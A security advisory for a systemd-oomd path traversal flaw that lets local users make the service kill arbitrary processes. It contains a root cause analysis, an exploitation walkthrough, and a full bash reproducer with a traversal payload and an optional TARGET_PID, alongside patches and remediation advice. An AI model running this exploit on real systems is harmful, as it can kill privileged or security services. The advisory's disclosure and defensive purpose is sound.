GHSA-652q-wxr6-h5j6
CVE Information
Impact
Local unprivileged users can terminate arbitrary local processes via a systemd-oomd IPC API due to a missing path traversal validation.
Patches
v261 (https://github.com/systemd/systemd/commit/cde88c4ea364e816619f385a870d074ebc12fe0f) v260.3 (https://github.com/systemd/systemd/commit/1b2a891e311acced16e0b7b16f220a2a7b08dde4) v259.7 (https://github.com/systemd/systemd/commit/967850cb99e3644a08f195507b8de22dd63abdf5) v258.9 (https://github.com/systemd/systemd/commit/a8feb2f23565d39df5c90a753c851c1934a53117)
Workarounds
Several possibilities:
- disable unprivileged access to
/run/systemd/oom/io.systemd.ManagedOOMsocket, by adding a drop-in forsystemd-oomd.socketwith this content:[Socket] SocketMode=0600- disable systemd-oomd.service
References
Original report follows
Summary
systemd-oomdexposes a world-accessible varlink method,io.systemd.oom.ReportManagedOOMCGroups, intended for reporting cgroups that systemd should monitor for managed out-of-memory handling. The implementation accepts a caller-supplied cgroup path, derives the sender's authorization from the textualuser-<uid>.slicecomponent in that path, and later resolves the same untrusted string into/sys/fs/cgroupwith path simplification.This creates a confused-deputy vulnerability. A local unprivileged user can submit a path that appears to belong to their own user slice for authorization, but that contains enough
../traversal to resolve outside cgroupfs into an attacker-controlled directory such as/dev/shm/.... By populating that directory with fake cgroup control files, includingcgroup.procs, the attacker can causesystemd-oomdto read attacker-controlled resource-pressure data and sendSIGKILLto attacker-selected PIDs.The confirmed impact is arbitrary local process kill through a privileged system service, including privileged/root-owned processes, subject to the privileges available to
systemd-oomdon the target system. This is primarily a local denial-of-service and integrity-boundary violation. Local privilege escalation was investigated through multiple target chains but was not demonstrated.A secondary side effect was also confirmed:
systemd-oomdupdates fixeduser.oomd_oomsanduser.oomd_killextended attributes using a read/write mismatch. It reads xattrs withlgetxattr()but writes withsetxattr(), which follows symlinks. This permits constrained writes of fixeduser.oomd_*xattr values to symlink targets in locations where the filesystem permits those xattrs. Testing showed this was reliable in/run/lockstyle locations and blocked on/etcwithEROFS; no privilege-escalation consumer was identified.Technical Root Cause Analysis
Trust Boundary
The vulnerable trust boundary is the varlink interface exposed by
systemd-oomd:
- Source: local unprivileged user input over
/run/systemd/oom/io.systemd.ManagedOOM.- Sink: privileged cgroup file reads and recursive process killing performed by
systemd-oomd.- Broken assumption: a cgroup path string that contains a
user-<uid>.slicecomponent and passes ownership parsing is safe to later resolve as a real cgroupfs path.The varlink server is initialized with the managed OOM interface and listens on a user-accessible socket:
/* src/oom/oomd-manager.c */ r = sd_varlink_server_bind_method_many( s, "io.systemd.oom.ReportManagedOOMCGroups", process_managed_oom_request, ...); if (fd < 0) r = sd_varlink_server_listen_address(s, VARLINK_PATH_MANAGED_OOM_USER, 0666);Authorization Based on Non-Canonical Path Text
The request handler parses caller-controlled JSON fields, including
path, then checks ownership for non-root senders:/* src/oom/oomd-manager.c */ r = sd_json_dispatch(c, dispatch_table, 0, &message); ... if (uid != 0) { uid_t cg_uid; r = cg_path_get_owner_uid(message.path, &cg_uid); ... if (uid != cg_uid) return log_error_errno(SYNTHETIC_ERRNO(EPERM), ...); }
cg_path_get_owner_uid()derives the owner UID from the slice name in the supplied cgroup path:/* src/basic/cgroup-util.c */ int cg_path_get_owner_uid(const char *path, uid_t *ret_uid) { _cleanup_free_ char *slice = NULL; char *start, *end; r = cg_path_get_slice(path, &slice); ... start = startswith(slice, "user-"); ... end = endswith(start, ".slice"); ... if (parse_uid(start, ret_uid) < 0) return -ENXIO; return 0; }This check does not prove that the eventual filesystem target is a cgroup directory under
/sys/fs/cgroup. It proves only that the submitted string contains a user-slice component that parses to the sender's UID.Later Canonicalization Allows Traversal Outside CGroupFS
After authorization, cgroup helper functions construct real filesystem paths by joining
/sys/fs/cgroup, the untrusted cgroup path, and a suffix, then simplifying the result:/* src/basic/cgroup-util.c */ int cg_get_path(const char *path, const char *suffix, char **ret) { char *t; if (isempty(path)) path = TAKE_PTR(suffix); t = path_join("/sys/fs/cgroup", path, suffix); ... *ret = path_simplify(t); return 0; }If
pathcontains../../..,path_simplify()can reduce the constructed path to a location outside/sys/fs/cgroup, for example into/dev/shm/<attacker-controlled-directory>.Attacker-Controlled CGroup Data Is Consumed
systemd-oomdlater reads cgroup pressure and memory accounting files through the same path-resolution helper:/* src/oom/oomd-util.c */ r = cg_get_path(path, "memory.pressure", &p); r = read_resource_pressure(p, PRESSURE_TYPE_FULL, &ctx->memory_pressure); r = cg_get_attribute_as_uint64(path, "memory.current", &ctx->current_memory_usage); r = cg_get_attribute_as_uint64(path, "memory.min", &ctx->memory_min); r = cg_get_attribute_as_uint64(path, "memory.low", &ctx->memory_low); r = cg_get_attribute_as_uint64(path, "memory.swap.current", &ctx->swap_usage); r = cg_get_keyed_attribute_uint64(path, "memory.stat", "pgscan", &ctx->pgscan);The attacker can satisfy these reads with regular files in a fake directory and craft values that make the fake cgroup appear to exceed managed OOM thresholds.
Privileged Kill Sink
When a cgroup is selected for killing,
systemd-oomdincrements accounting xattrs and sendsSIGKILLto PIDs listed in the resolvedcgroup.procspath:/* src/oom/oomd-util.c */ r = increment_oomd_xattr(ctx->path, "user.oomd_ooms", 1); if (recurse) r = cg_kill_recursive(ctx->path, SIGKILL, CGROUP_IGNORE_SELF, pids_killed, log_kill, NULL); else r = cg_kill(ctx->path, SIGKILL, CGROUP_IGNORE_SELF, pids_killed, log_kill, NULL); r = increment_oomd_xattr(ctx->path, "user.oomd_kill", set_size(pids_killed));The cgroup process iterator opens
cgroup.procsthroughcg_get_path():/* src/basic/cgroup-util.c */ r = cg_get_path(path, "cgroup.procs", &fs); f = fopen(fs, "re");As a result, a fake
cgroup.procsfile controlled by the attacker can nominate arbitrary PIDs forsystemd-oomdto kill.Secondary XAttr Symlink-Following Issue
The xattr update helper reads an existing xattr value, increments it, and writes it back:
/* src/oom/oomd-util.c */ r = cg_get_xattr(path, xattr, &value, NULL); ... r = cg_set_xattr(path, xattr, buf, strlen(buf), 0);The lower-level helpers use different symlink behavior:
/* src/basic/cgroup-util.c */ return RET_NERRNO(setxattr(fs, name, value, size, flags)); ... return lgetxattr_malloc(fs, name, ret, ret_size);
lgetxattr()reads the symlink itself, whilesetxattr()follows the symlink. This creates a constrained fixed-name xattr write primitive when the attacker can place a symlink at the resolved fake cgroup path.Affected Assets & Attack Surface
Affected Components
systemd-oomdio.systemd.oom.ReportManagedOOMCGroups/run/systemd/oom/io.systemd.ManagedOOMsrc/oom/oomd-manager.csrc/oom/oomd-util.csrc/basic/cgroup-util.cAffected Security Boundary
The intended boundary is that a local user may only report and influence managed OOM behavior for cgroups that belong to that user. The vulnerability breaks this boundary by allowing a user-owned-looking path to resolve into attacker-controlled non-cgroup filesystem content.
Attacker Preconditions
- Local unprivileged account or equivalent local code execution.
- Ability to connect to the managed OOM varlink socket.
- Ability to create a fake cgroup-like directory and files in a writable location visible to the
systemd-oomdservice mount namespace./dev/shmsatisfies this condition on tested Debian and Fedora systems, despitesystemd-oomd.serviceusingPrivateDevices=yes. Generic/tmppaths should not be assumed to work becausesystemd-oomd.serviceusesPrivateTmp=disconnected.- Knowledge of the target PID to kill.
systemd-oomdrunning and configured to process managed OOM reports.Exposed Interfaces
- World-accessible varlink socket:
/run/systemd/oom/io.systemd.ManagedOOM- Method:
io.systemd.oom.ReportManagedOOMCGroups- Input fields of interest:
pathpropertylimitdurationmodeCandidate Targets For Kill Impact
An attacker can target any process that
systemd-oomdcan signal under the system's process and capability model. Testing confirmed privileged service processes could be killed in practice. High-impact targets can include:
- Privileged daemons performing state transitions.
- SUID helpers during authenticated operations.
- Package, firmware, printer, disk, or policy management services.
- Security monitoring or endpoint protection processes, where present.
- Availability-critical production services.
The assessment did not identify a reliable privilege-escalation chain from killing tested targets, but the primitive remains chainable in environments with kill-unsafe privileged workflows.
Exploitation Walkthrough
An attacker can discover and exploit the issue using only local, unprivileged access:
- Confirm
systemd-oomdis running and the managed OOM varlink socket exists at/run/systemd/oom/io.systemd.ManagedOOM.- Read the caller's cgroup path from
/proc/self/cgroupand identify theuser-<uid>.slicecomponent used by systemd's user-session hierarchy.- Create a fake cgroup-like directory in a user-writable path visible to
systemd-oomd, such as/dev/shm.- Populate fake cgroup accounting files with syntactically valid values that make the fake cgroup eligible for killing.
- Place the chosen target PID in the fake
cgroup.procsfile.- Submit a
ReportManagedOOMCGroupsvarlink request whosepathbegins with the valid user cgroup path, then traverses out of/sys/fs/cgroupwith../segments and into the fake directory.- Set the per-cgroup request object to
mode: "kill",property: "ManagedOOMMemoryPressure",limit: 1, andduration: 0.- Wait for
systemd-oomdto process the fake cgroup and sendSIGKILLto the PID listed in fakecgroup.procs.From a defensive perspective, the key observable events are:
- A managed OOM report containing a path with traversal components.
systemd-oomdlogs showing a candidate cgroup path containing../.- The targeted service or process exiting with
status=9/KILL.- No crash or restart of
systemd-oomditself.The exploit does not require memory exhaustion. The attacker supplies fake pressure and accounting values that drive
systemd-oomd's normal selection logic.Proof-of-Concept & Evidence
Representative Payload Shape
A representative
pathhas this form:/user.slice/user-1000.slice/session-5.scope/../../../../../../../../../../dev/shm/fakecg-kill.<id>The leading
user-1000.slicecomponent satisfies textual UID ownership parsing for UID 1000. The traversal suffix causes later filesystem resolution to leave/sys/fs/cgroupand reach the fake cgroup directory.Fake CGroup Directory Contents
A minimal fake directory contains:
memory.pressure memory.current memory.min memory.low memory.swap.current memory.stat cgroup.procsThe
cgroup.procsfile contains the target PID. The memory files contain values that make the fake cgroup appear eligible for OOM action.End-to-End Reproducer
The following reproducer is self-contained and intended for a lab host where
systemd-oomdis running. By default, it starts a harmlesssleepprocess owned by the current user and demonstrates thatsystemd-oomdkills the PID listed in an attacker-controlled fakecgroup.procsfile outside/sys/fs/cgroup.This reproducer uses
/dev/shmas the attacker-controlled fake cgroup location. This path is normally world-writable and was reported to work on both Debian and Fedora test systems.PrivateTmp=disconnectedprevents relying on/tmpor/var/tmp, andProtectHome=yesprevents relying on home directories or/run/user, but/dev/shmremains visible tosystemd-oomdon the tested configurations despitePrivateDevices=yes.To test impact against a specific process in a controlled lab, set
TARGET_PID=<pid>in the environment before running the script. The default behavior should be used for initial validation because it avoids disrupting privileged services.cat > /tmp/repro-systemd-oomd-managed-oom-traversal.sh <<'SH' #!/usr/bin/env bash set -u SOCK="/run/systemd/oom/io.systemd.ManagedOOM" OUT="/tmp/oomd-managed-oom-repro-$$" FAKE="/dev/shm/oomd-managed-oom-repro-$$" mkdir -p "$OUT" "$FAKE" echo "out=$OUT" echo "fake=$FAKE" if [ ! -S "$SOCK" ]; then echo "ERROR: managed OOM varlink socket not found: $SOCK" | tee "$OUT/result.txt" exit 1 fi if ! command -v varlinkctl >/dev/null 2>&1; then echo "ERROR: varlinkctl is required" | tee "$OUT/result.txt" exit 1 fi UIDN="$(id -u)" # Prefer the caller's real cgroup path. This keeps the prefix realistic and # ensures the submitted path contains user-$UID.slice for the ownership check. CGBASE="$(awk -F: '$1 == "0" { print $3; exit }' /proc/self/cgroup 2>/dev/null)" if [ -z "${CGBASE:-}" ] || ! printf '%s\n' "$CGBASE" | grep -q "user-${UIDN}.slice"; then SESSION_ID="$(loginctl 2>/dev/null | awk -v u="$(id -un)" '$3 == u { print $1; exit }')" if [ -n "$SESSION_ID" ]; then CGBASE="/user.slice/user-${UIDN}.slice/session-${SESSION_ID}.scope" else CGBASE="/user.slice/user-${UIDN}.slice/user@${UIDN}.service" fi fi if [ -n "${TARGET_PID:-}" ]; then VICTIM="$TARGET_PID" echo "using_supplied_target_pid=$VICTIM" | tee "$OUT/victim.txt" else sleep 300 & VICTIM="$!" echo "started_default_sleep_victim=$VICTIM" | tee "$OUT/victim.txt" fi if ! kill -0 "$VICTIM" 2>/dev/null; then echo "ERROR: target PID is not alive: $VICTIM" | tee "$OUT/result.txt" exit 1 fi # Fake cgroup files consumed by oomd_cgroup_context_acquire(). cat > "$FAKE/memory.pressure" <<'EOF' some avg10=100.00 avg60=100.00 avg300=100.00 total=999999999 full avg10=100.00 avg60=100.00 avg300=100.00 total=999999999 EOF echo 999999999 > "$FAKE/memory.current" echo 0 > "$FAKE/memory.min" echo 0 > "$FAKE/memory.low" echo 0 > "$FAKE/memory.swap.current" cat > "$FAKE/memory.stat" <<'EOF' anon 999999999 file 0 kernel_stack 0 pagetables 0 sock 0 shmem 0 file_mapped 0 file_dirty 0 file_writeback 0 swapcached 0 anon_thp 0 file_thp 0 shmem_thp 0 inactive_anon 999999999 active_anon 0 inactive_file 0 active_file 0 unevictable 0 slab_reclaimable 0 slab_unreclaimable 0 pgscan 999999999 EOF echo "$VICTIM" > "$FAKE/cgroup.procs" # The prefix passes the textual user-slice owner check. The traversal suffix # causes cg_get_path("/sys/fs/cgroup", path, suffix) + path_simplify() to # resolve outside cgroupfs and into $FAKE. PAYLOAD_PATH="${CGBASE}/../../../../../../../../../../${FAKE#/}" { echo "uid=$UIDN" echo "cgbase=$CGBASE" echo "payload_path=$PAYLOAD_PATH" echo "victim_pid=$VICTIM" echo "oomd_before:" systemctl show systemd-oomd.service -p ActiveState -p SubState -p MainPID -p Result -p NRestarts 2>/dev/null || true } | tee "$OUT/before.txt" REQUEST="$(printf '{"cgroups":[{"mode":"kill","path":"%s","property":"ManagedOOMMemoryPressure","limit":1,"duration":0}]}' "$PAYLOAD_PATH")" echo "$REQUEST" > "$OUT/request.json" timeout 5 varlinkctl --oneway call "$SOCK" io.systemd.oom.ReportManagedOOMCGroups "$REQUEST" > "$OUT/varlink.out" 2>&1 || true for _ in $(seq 1 450); do if ! kill -0 "$VICTIM" 2>/dev/null; then break fi sleep 0.1 done { echo "oomd_after:" systemctl show systemd-oomd.service -p ActiveState -p SubState -p MainPID -p Result -p NRestarts 2>/dev/null || true if kill -0 "$VICTIM" 2>/dev/null; then echo "RESULT: victim_alive" echo "The target was not killed during the polling window." exit_code=2 else echo "RESULT: victim_killed" exit_code=0 fi } | tee "$OUT/after.txt" echo "Full reproducer logs: $OUT" echo "Cleanup: rm -rf '$OUT' '$FAKE'" exit "$exit_code" SH chmod +x /tmp/repro-systemd-oomd-managed-oom-traversal.sh /tmp/repro-systemd-oomd-managed-oom-traversal.shExpected vulnerable output:
out=/tmp/oomd-managed-oom-repro.<pid> fake=/dev/shm/oomd-managed-oom-repro.<pid> started_default_sleep_victim=<victim_pid> payload_path=/user.slice/user-<uid>.slice/.../../../../../../../../../../../dev/shm/oomd-managed-oom-repro.<pid> oomd_before: ActiveState=active SubState=running ... oomd_after: ActiveState=active SubState=running ... RESULT: victim_killedThe important validation condition is
RESULT: victim_killedwhilesystemd-oomd.serviceremains active. This demonstrates that an unprivileged caller can supply a user-slice-looking path that resolves to attacker-controlled files and causessystemd-oomdto sendSIGKILLto the PID listed in fakecgroup.procs.Runtime Evidence From Local Validation
The issue was validated with local test harnesses against the running system:
payload_path=/user.slice/user-1000.slice/session-5.scope/../../../../../../../../../../dev/shm/fakecg-kill.<id> killed pid=<target_pid> victim_killed ActiveState=active SubState=running Result=success NRestarts=0The key properties observed were:
- The request was accepted from an unprivileged user.
- The selected target PID was read from an attacker-controlled fake
cgroup.procs.systemd-oomdkilled the target process.systemd-oomdremained active and did not need to crash.Secondary XAttr Evidence
Strace confirmed the xattr read/write mismatch:
lgetxattr(".../root-owned-link", "user.oomd_ooms", ...) = -1 ENODATA setxattr(".../root-owned-link", "user.oomd_ooms", "1", 1, 0) = 0 lgetxattr(".../root-owned-link", "user.oomd_kill", ...) = -1 ENODATA setxattr(".../root-owned-link", "user.oomd_kill", "1", 1, 0) = 0This confirms that the read occurred on the symlink path while the write followed the symlink to the target. The value and xattr names are fixed by
systemd-oomd; this is not an arbitrary file write.Negative Chain Testing
The following candidate LPE chains were tested and did not produce privilege escalation:
sudotimestamp and long-running child behavior.- UDisks2 loop setup/mount/unmount operations.
crontabspool updates.chfn,chsh, andpasswdflows.fwupdmetadata refresh.colordprofile import.snapdand LXD accessible operations.- FUSE/fusermount path, blocked by missing local FUSE bindings.
newuidmap/newgidmap, blocked by local user namespace conditions.lxc-user-nic, helper exited before kill.- CUPS filter/backend/config operations.
- PackageKit, apt/dpkg, tmpfiles, udev, polkit, resolved, and related service operations.
These negative results reduce confidence in a direct LPE on the tested host, but they do not reduce confidence in the underlying arbitrary privileged process-kill bug.
Impact Assessment
Confirmed Impact
An unprivileged local attacker can induce
systemd-oomdto kill attacker-selected processes by supplying a path that passes textual cgroup ownership validation but resolves to attacker-controlled files.The immediate impact is high availability loss for selected local processes. Because the killing action is performed by a privileged system service, the attacker can affect processes outside their own UID and cgroup boundaries, depending on the target system's
systemd-oomdprivileges and policy.Adversarial Impact
An attacker can use the primitive to:
- Cause targeted denial of service.
- Suppress local defensive services temporarily if they can be signaled.
- Destabilize privileged daemons during sensitive operations.
- Build environment-specific chains against software that performs unsafe non-atomic privileged state transitions.
No general post-exploitation privilege gain was demonstrated. The bug should not be reported as confirmed LPE without an additional vulnerable consumer.
Confidentiality, Integrity, Availability
- Confidentiality: no direct read primitive was demonstrated.
- Integrity: no arbitrary file write was demonstrated. A constrained fixed-name xattr side effect was confirmed.
- Availability: arbitrary privileged process kill was demonstrated.
Remediation Guidance
Primary Fix
Do not authorize or operate on untrusted cgroup paths solely as strings. The request handler should canonicalize and validate paths before ownership checks and before any filesystem access.
Recommended properties:
- Reject paths containing
..components before any use.- Reject absolute paths or malformed cgroup paths that are not canonical cgroup paths.
- Resolve the final path relative to
/sys/fs/cgroupand verify containment under/sys/fs/cgroup.- Perform ownership checks against the resolved cgroup object, not against parsed text.
- Prefer file-descriptor-relative operations with
openat2()-style constraints where available:RESOLVE_BENEATHRESOLVE_NO_SYMLINKSRESOLVE_NO_MAGICLINKS- Fail closed if the target is not a real cgroup directory.
Suggested Validation Logic
Before accepting a non-root
ReportManagedOOMCGroupsentry:
- Normalize the cgroup path as a logical cgroup path, not a generic filesystem path.
- Reject
.and..path components.- Resolve under
/sys/fs/cgroup.- Verify the resolved path is still beneath
/sys/fs/cgroup.- Verify it refers to a directory on cgroupfs.
- Verify ownership/delegation using cgroup metadata or trusted systemd unit ownership, not solely the
user-<uid>.slicestring.XAttr Fix
Make xattr reads and writes use consistent symlink behavior. If cgroup xattrs are only meaningful on real cgroup directories:
- Reject symlink targets before reading or writing xattrs.
- Use
lsetxattr()if intentionally operating on the link itself.- Use fd-based xattr APIs after opening a verified cgroup directory if operating on the target object.
- Do not mix
lgetxattr()andsetxattr()for the same security-relevant object.